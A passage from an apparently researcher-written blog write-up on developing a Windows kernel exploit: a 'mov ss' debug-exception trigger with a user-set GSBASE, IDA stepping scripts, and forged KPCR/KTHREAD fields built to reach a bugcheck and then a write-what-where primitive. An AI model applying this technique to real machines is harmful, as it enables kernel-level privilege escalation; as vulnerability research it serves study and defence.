&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;retf&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nl"&gt;X64_Start&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;__emit&lt;/span&gt; &lt;span class="mh"&gt;0xf3&lt;/span&gt;              &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;wrgsbase&lt;/span&gt; &lt;span class="n"&gt;eax&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;__emit&lt;/span&gt; &lt;span class="mh"&gt;0x0f&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;__emit&lt;/span&gt; &lt;span class="mh"&gt;0xae&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;__emit&lt;/span&gt; &lt;span class="mh"&gt;0xd8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;retf&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nl"&gt;X64_End&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;39&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;40&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;Vulnerability&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;41&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;mov&lt;/span&gt; &lt;span class="n"&gt;ss&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;word&lt;/span&gt; &lt;span class="n"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="n"&gt;g_SavedSS&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;Defer&lt;/span&gt; &lt;span class="n"&gt;debug&lt;/span&gt; &lt;span class="n"&gt;exception&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;42&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;Execute&lt;/span&gt; &lt;span class="n"&gt;with&lt;/span&gt; &lt;span class="n"&gt;interrupts&lt;/span&gt; &lt;span class="n"&gt;disabled&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;43&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;nop&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;44&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;45&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;em&gt;This example is 32-bit for the sake of showing ASM and C together, the final working code will be 64-bit.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Now let&amp;rsquo;s start debugging, we are in &lt;strong&gt;KiDebugTrapOrFault&lt;/strong&gt; with our custom GSBASE! However, this is nothing but catastrophic, almost no function works and we will end up in a KiDebugTrapOrFault-&amp;gt;KiGeneralProtectionFault-&amp;gt;KiPageFault-&amp;gt;KiPageFault-&amp;gt;&amp;hellip; infinite loop. If we had a perfectly valid GSBASE, the outcome of what we achieved so far would be a KMODE_EXCEPTION_NOT_HANDLED BSOD**,** so let&amp;rsquo;s focus on making GSBASE function like the real one and try to get to KeBugCheckEx.&lt;/p&gt;
&lt;p&gt;We can utilize a small IDA script to step to relevant parts faster:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;idc.idc&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;Message&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;--- Step Till Next GS ---&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;auto&lt;/span&gt; &lt;span class="n"&gt;Disasm&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;GetDisasmEx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nf"&gt;GetEventEa&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nf"&gt;strstr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Disasm&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;gs:&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;Disasm&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;   &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;StepInto&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;GetDebuggerEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;WFNE_SUSP&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="0x1-fixing-the-kpcr-data"&gt;&lt;span class="hx"&gt;0x1:&lt;/span&gt; Fixing the KPCR Data&lt;/h2&gt;
&lt;p&gt;Here are the few cases we have to modify GSBASE contents to pass through successfully:&lt;/p&gt;
&lt;h3 id="--kidebugtraporfault"&gt;- KiDebugTrapOrFault&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-asm" data-lang="asm"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;KiDebugTrapOrFault:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="na"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;MEMORY:&lt;/span&gt;&lt;span class="nf"&gt;FFFFF8018C20701E&lt;/span&gt; &lt;span class="no"&gt;ldmxcsr&lt;/span&gt; &lt;span class="no"&gt;dword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="no"&gt;gs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;180&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Pcr.Prcb.MxCsr needs to have a valid combination of flags to pass this instruction or else it will raise a #GP. So let&amp;rsquo;s set it to its initial value, 0x1F80.&lt;/p&gt;
&lt;h3 id="--kiexceptiondispatch"&gt;- KiExceptionDispatch&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-asm" data-lang="asm"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;KiExceptionDispatch:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="na"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;MEMORY:&lt;/span&gt;&lt;span class="nf"&gt;FFFFF8018C20DB5F&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;gs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;188&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;MEMORY:&lt;/span&gt;&lt;span class="nf"&gt;FFFFF8018C20DB68&lt;/span&gt; &lt;span class="no"&gt;bt&lt;/span&gt; &lt;span class="no"&gt;dword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;74&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Pcr.Prcb.CurrentThread is what resides in gs:188h. We are going to allocate a block of memory and reference it in gs:188h.&lt;/p&gt;
&lt;h3 id="--kidispatchexception"&gt;- KiDispatchException&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-asm" data-lang="asm"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;KiDispatchException:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="na"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;MEMORY:&lt;/span&gt;&lt;span class="nf"&gt;FFFFF8018C12A4D8&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;gs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;qword_188&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;MEMORY:&lt;/span&gt;&lt;span class="nf"&gt;FFFFF8018C12A4E1&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;B8h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This is Pcr.Prcb.CurrentThread.ApcStateFill.Process and again we are going to allocate a block of memory and simply make this pointer point to it.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-asm" data-lang="asm"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;KeCopyLastBranchInformation:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="na"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;MEMORY:&lt;/span&gt;&lt;span class="nf"&gt;FFFFF8018C12A0AC&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;gs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;qword_20&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;MEMORY:&lt;/span&gt;&lt;span class="nf"&gt;FFFFF8018C12A0B5&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;148&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;0x20 from GSBASE is Pcr.CurrentPrcb, which is simply Pcr + 0x180. Let&amp;rsquo;s set Pcr.CurrentPrcb to Pcr + 0x180 and also set Pcr.Self to &amp;amp;Pcr while on it.&lt;/p&gt;
&lt;h3 id="-rtldispatchexception"&gt;- RtlDispatchException&lt;/h3&gt;
&lt;p&gt;This one is going to be a little bit more detailed. RtlDispatchException calls RtlpGetStackLimits, which calls KeQueryCurrentStackInformation and ___fastfail_s if it fails. The problem here is that KeQueryCurrentStackInformation checks the current value of RSP against Pcr.Prcb.RspBase, Pcr.Prcb.CurrentThread-&amp;gt;InitialStack, Pcr.Prcb.IsrStack and if it doesn&amp;rsquo;t find a match it reports failure. We obviously cannot know the value of kernel stack from user-mode, so what to do?&lt;/p&gt;
&lt;p&gt;There&amp;rsquo;s a weird check in the middle of the function:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="kr"&gt;__fastcall&lt;/span&gt; &lt;span class="nf"&gt;KeQueryCurrentStackInformation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kr"&gt;__int64&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kr"&gt;__int64&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nf"&gt;MK_FP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;__GS__&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;392&lt;/span&gt;&lt;span class="n"&gt;i64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="n"&gt;i64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nf"&gt;MK_FP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;__GS__&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;424&lt;/span&gt;&lt;span class="n"&gt;i64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0xFFFFFFFFFFFFFFFF&lt;/span&gt;&lt;span class="n"&gt;i64&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0xFFFF800000000000&lt;/span&gt;&lt;span class="n"&gt;i64&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Thanks to this check, as long as we make sure KThread.InitialStack (KThread + 0x28) is not equal to Pcr.Prcb.RspBase (gs:1A8h) KeQueryCurrentStackInformation will return success with 0xFFFF800000000000-0xFFFFFFFFFFFFFFFF as the reported stack range. Let&amp;rsquo;s go ahead and set Pcr.Prcb.RspBase to 1 and Pcr.Prcb.CurrentThread-&amp;gt;InitialStack to 0. Problem solved.&lt;/p&gt;
&lt;p&gt;RtlDispatchException after these changes will fail without bugchecking and return to KiDispatchException.&lt;/p&gt;
&lt;h3 id="-kebugcheckex"&gt;- KeBugCheckEx&lt;/h3&gt;
&lt;p&gt;We are finally here. Here&amp;rsquo;s the last thing we need to fix:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-asm" data-lang="asm"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;MEMORY:&lt;/span&gt;&lt;span class="nf"&gt;FFFFF8018C1FB94A&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;gs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;qword_20&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;MEMORY:&lt;/span&gt;&lt;span class="nf"&gt;FFFFF8018C1FB953&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;62&lt;/span&gt;&lt;span class="no"&gt;C0h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;MEMORY:&lt;/span&gt;&lt;span class="nf"&gt;FFFFF8018C1FB95A&lt;/span&gt; &lt;span class="no"&gt;call&lt;/span&gt; &lt;span class="no"&gt;RtlCaptureContext&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Pcr.CurrentPrcb-&amp;gt;Context is where KeBugCheck saves the context of the caller and for some weird reason, it is a PCONTEXT instead of a CONTEXT. We don&amp;rsquo;t really care about any other fields of Pcr so let&amp;rsquo;s just set it to Pcr+ 0x3000 just for the sake of having a valid pointer for now.&lt;/p&gt;
&lt;h2 id="0x2--and-writewhatwhere"&gt;&lt;span class="hx"&gt;0x2:&lt;/span&gt; &lt;img src="images/7.webp" alt=""&gt; and Write|What|Where&lt;/h2&gt;
&lt;p&gt;And there we go, sweet sweet blue screen of victory!&lt;/p&gt;
&lt;p&gt;&lt;img src="images/8.webp" alt="KMODE_EXCEPTION_NOT_HANDLED"&gt;{.center}&lt;/p&gt;
&lt;p&gt;Now that everything works, how can we exploit it?&lt;/p&gt;
&lt;p&gt;The code after KeBugCheckEx is too complex to step in one by one and it is most likely not-so-fun to revert from so let&amp;rsquo;s try NOT to bugcheck this time.&lt;/p&gt;
&lt;p&gt;I wrote another IDA script to log the points of interest (such as gs: accesses and jumps and calls to registers and &lt;code&gt;[registers+x]&lt;/code&gt;) and made it step until  KeBugCheckEx is hit:&lt;/p&gt;
